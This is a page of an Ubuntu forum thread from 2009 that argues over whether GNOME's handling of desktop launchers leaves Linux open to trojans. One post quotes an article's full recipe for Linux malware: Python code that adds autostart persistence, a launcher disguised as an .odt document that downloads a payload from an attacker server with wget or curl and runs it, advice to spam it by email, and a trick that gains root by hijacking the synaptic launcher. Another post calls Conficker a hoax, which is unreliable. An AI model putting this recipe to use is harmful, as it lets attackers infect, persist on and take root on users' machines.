Page 1 of 6 123 ... LastLast
Results 1 to 10 of 54

Thread: Linux is save, Gnome isn't.

  1. #1
    Join Date
    Jul 2007
    Location
    Brugge, België
    Beans
    2,933

    Linux is save, Gnome isn't.

    After reading MetalHellsAngel post on tricking her husband for April's fool and the responding scripts I got the idea to open this discussion.

    We all know Linux is the safest, moderately popular OS (I'm not talking to you BSD ). Or do we?

    A lot of new users here will claim Linux is safe to use on the desktop use, not because of security through obscurity, but because Linux is just safer.

    But I have to disagree.

    The way things are now, Linux is more secure than Windows because of obscurity.

    And the biggest reason I say that is because of Gnome.

    Let's take the conficker worm (or whatever it is called).

    It is passed along by usb sticks.

    The same thing can easily happen on Ubuntu, because of Gnome.

    Gnome has the feature to launch scripts without checking the permissions or giving any prompts.

    Not that you need root access on most Linux desktop systems to do damage (what is more important, the files in your /home folder which can be irreplaceable, or the system files?), but because of this it would also be pretty damn easy to get root access thanks to the wonders of ~/.local/share/applications and don't forget you got access to .bashrc.

    I'm sure these things are possible on KDE also.

    Malicious code can be easily executed without the user knowing it. Get your phising on and your in. No prompts, nothing.

    Am I the only one who is concerned about these security flaws?

    edit: I forgot to mention gnomes feature: "sessions"
    Last edited by billgoldberg; April 1st, 2009 at 11:19 PM.

  2. #2
    Join Date
    Nov 2006
    Location
    40.31996,-80.607213
    Beans
    Hidden!
    Distro
    Ubuntu

    Re: Linux is save, Gnome isn't.

    Don't run a Desktop Environment that does this stupid stuff.
    "Security lies within the user of who runs the system. Think smart, live safe." - Dr Small
    Linux User #441960 | Wiki: DrSmall

  3. #3
    Join Date
    Jan 2009
    Location
    British Columbia, Canada
    Beans
    15

    Re: Linux is save, Gnome isn't.

    Conficker is a hoax. Nothing happened, and nothing ever will happen.

    Just another attempt at anti-virus companies to lie to the public about a threat that doesn't exist, in an attempt to sell their software.

  4. #4
    Join Date
    Jul 2007
    Location
    Brugge, België
    Beans
    2,933

    Re: Linux is save, Gnome isn't.

    Quote Originally Posted by Onoskelis View Post
    Conficker is a hoax. Nothing happened, and nothing ever will happen.

    Just another attempt at anti-virus companies to lie to the public about a threat that doesn't exist, in an attempt to sell their software.
    Could be, but that's not the point of the thread.

  5. #5
    Join Date
    Apr 2005
    Location
    Finland/UK
    Beans
    Hidden!
    Distro
    Ubuntu 16.04 Xenial Xerus

    Re: Linux is save, Gnome isn't.

    I disagree.

    Being able to run code without giving it executable permission is not the same as the code being able to run on it's own without user action (the difference between a worm and a trojan). Making a trojan is of course possible with any operating system, the only real protection against them is not running random code from untrusted sources.

    Also it sure isn't "pretty damn easy" to get root access with .bashrc. Not to mention that you need the user level access before you can do anything with .bashrc..
    Last edited by mcduck; April 1st, 2009 at 11:02 PM.

  6. #6
    Join Date
    May 2008
    Location
    uk
    Beans
    367
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Re: Linux is save, Gnome isn't.

    Quote Originally Posted by billgoldberg View Post
    what is more important, the files in your /home folder which can be irreplaceable, or the system files?)
    this is something i realised a while ago which is why i don't keep my personal files on /home, it does seem to be the only main place someone could attack.
    ****
    Quote Originally Posted by The Symmetry
    In this space which our eyes grace
    A simple way to make alliances between disparate peoples in the human race

  7. #7
    Join Date
    Feb 2008
    Beans
    1,031

    Re: Linux is save, Gnome isn't.

    I agree in many ways, it would be better if all non executable scripts did something like pop up a dialog stating it was insecure and asking if you really meant it, and needing sudo password.

    As for getting round social engineering attacks..the only real solution is if we get rid of society or stop being humans....tricky one.

    We probably do need to start thinking about protecting people from running things when they aren't paying attention.

  8. #8
    Join Date
    Jul 2007
    Location
    Brugge, België
    Beans
    2,933

    Re: Linux is save, Gnome isn't.

    Here is a nice little article I found that explains my point perfectly:

    http://www.geekzone.co.nz/foobar/6229

    Compact step-by-step guide

    Ok, so here is the summary then, which also fills in a few more specific details:

    1.

    Write a piece of malware of your choice. Maybe as a Python script? Good language, efficient code, pre-installed in most Linux distros and powerful standard library support (for example, libraries for sending HTTP requests and handling SMTP are part of most standard installs). Place that malware on some web-server.
    2.

    Your malware needs the ability to install a launcher for itself so that it is started whenever the user logs in. As mentioned, for Gnome that means creating a launcher description in the ~/.config/autostart folder. For KDE just link to your executable from within the ~/.kde/Autostart directory. To do that the malware code can either just force the issue and copy a launcher or link to itself into both locations (creating any directories along the way if they don't exist) or it can be a bit smarter and choose the right thing to do based on the desktop environment that it detects.

    For example, to create the shortcut for KDE, all you need to write in Python is:

    import os
    uname = os.getlogin()
    drop_dir = “/home/%s/.kde/Autostart” % uname)
    os.makedirs(drop_dir)
    os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")

    For Gnome the Python script instead needs to write a launcher into the proper directory:

    import os
    relauncher_str = """
    [Desktop Entry]
    Type=Application
    Name=Malware
    Exec=python .local/.hidden/s.py
    Icon=system-run
    """
    uname = os.getlogin()
    drop_dir = “/home/%s/.config/autostart” % uname
    os.makedirs(drop_dir)
    f = open(drop_dir+”/Malware.desktop”, “w”)
    f.write(relauncher_str)
    f.close()

    Writing these autostart entries is probably some of the first action that your malware should perform.
    3.

    Now create a desktop launcher file for the installer of the malware, which is different than the launcher we use to restart the malware after a reboot. The desktop launcher for the installer is what we send as attachment in the email to the targeted user. It's what the user clicks on after they saved it. Try something like this:

    [Desktop Entry]
    Type=Application
    Name=some_text.odt
    Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
    DROP=~/.local/.hidden ;
    mkdir -p $DROP;
    if [ -e /usr/bin/wget ] ;
    then wget $URL -O $DROP/s.py ;
    else curl $URL -o $DROP/s.py ; fi;
    python $DROP/s.py'
    Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png

    Note that we have specified a name that is harmless looking and even chose an icon that makes it look like a normal document (that particular icon is present on both Ubuntu (Gnome) and Kubuntu (KDE) systems, but annoyingly not on Fedora). If you claim to send nude shots in the email, just give it a name that makes it sound like an image (something with .jpg at the end) and chose one of the appropriate standard image icons.

    The Exec line is a bit longer now, because we have to account for the possibility that either wget is installed or curl. For example, Ubuntu systems usually have wget, while Fedora comes with curl. So, we pass the appropriate commands to bash in order to check which one is present and then call the correct command to download the malware. I'm not a bash expert, so there might be a much more efficient way to do this. But you get the idea. Also, in that line we are creating a good location for the script ($DROP), which is not immediately obvious. The mkdir command with the -p option will silently create whatever parent directories are necessary. The target directory is in the user's home, hidden away in some innocent looking local directory and can only be seen when also displaying hidden files. The /tmp directory of course is not a good place for our malware, since it is wiped with each reboot.

    Save this launcher file under the name you specified with the Name line, but add '.desktop' to the end of the actual file name. So, in our case, you would save the file as 'some_text.odt.desktop'. When you place this on your desktop you will see that Gnome or KDE will treat it in a special way, not displaying the '.desktop' extension. So, the file just appears as 'some_text.odt'. Of course, that also means that the mail attachment will have this extension as well. Some users may notice, many others will not.
    4.

    Attach this file to an email, which prompts the recipient to save and open the attachment. As explained, once it has been saved it will just appear as 'some_text.odt' on the user's desktop. And with the icon we have chosen in the launcher description it will look quite harmless.
    5.

    Send this email out to as many email addresses as you can get a hold of.

    Voila! A Linux virus in 5 simple steps. Every user that saves and opens the attachment you have sent them will get themselves infected with the malware script of your choice, which is then also restarted whenever the user logs in again.

    That was easy, wasn't it?

    That's a way to exploit those flaws.

    From he same article on getting root access:

    [QUOTE
    Yes, so if we could just go ahead and edit that, right? If our malware could go and change that to:

    ]Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptic

    That would execute our malware with root privileges. Note that we quietly passed the original name of the executable (/usr/sbin/synaptic) to our malware, so that it can start synaptic after it is done permanently giving itself root privileges or doing whatever it wants to do as root. That way the user won't become suspicious.

    But, alas, we can't edit that file. Out of luck again? Fortunately, no. Gnome is kind enough to see if we might have a local definition of one of those desktop files, which should override the system-wide settings. Those go into ~/.local/share/applications. So, you can simply copy the synaptic.desktop file from /usr/share/applications to ~/.local/share/applications and perform the changes you want on it. Then you just have to sit back and wait for the next time the user starts synaptic and you are in business. [/QUOTE]
    Last edited by billgoldberg; April 1st, 2009 at 11:15 PM.

  9. #9
    Join Date
    Oct 2006
    Location
    255.255.255.255
    Beans
    Hidden!
    Distro
    Ubuntu 10.10 Maverick Meerkat

    Re: Linux is save, Gnome isn't.

    billgoldberg, have you actually found any of this to be true? Have you encountered an actual script that runs automatically, or worse, spreads to and from USB disks automatically? I'm curious about the mechanics of such a script. I have a strong suspicion that this is all a non-issue.
    “Give a man a fish and you have fed him for today; teach a man to fish and you have fed him for a lifetime” —unknown

  10. #10
    Join Date
    Jul 2008
    Location
    Netherlands
    Beans
    Hidden!
    Distro
    Ubuntu 12.04 Precise Pangolin

    Re: Linux is save, Gnome isn't.

    Quote Originally Posted by billgoldberg View Post
    Am I the only one who is concerned about these security flaws?
    After reading this (weeks ago) I think that Gnome and KDE developers should fix this problem soon :
    http://www.geekzone.co.nz/foobar/6229

Page 1 of 6 123 ... LastLast

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •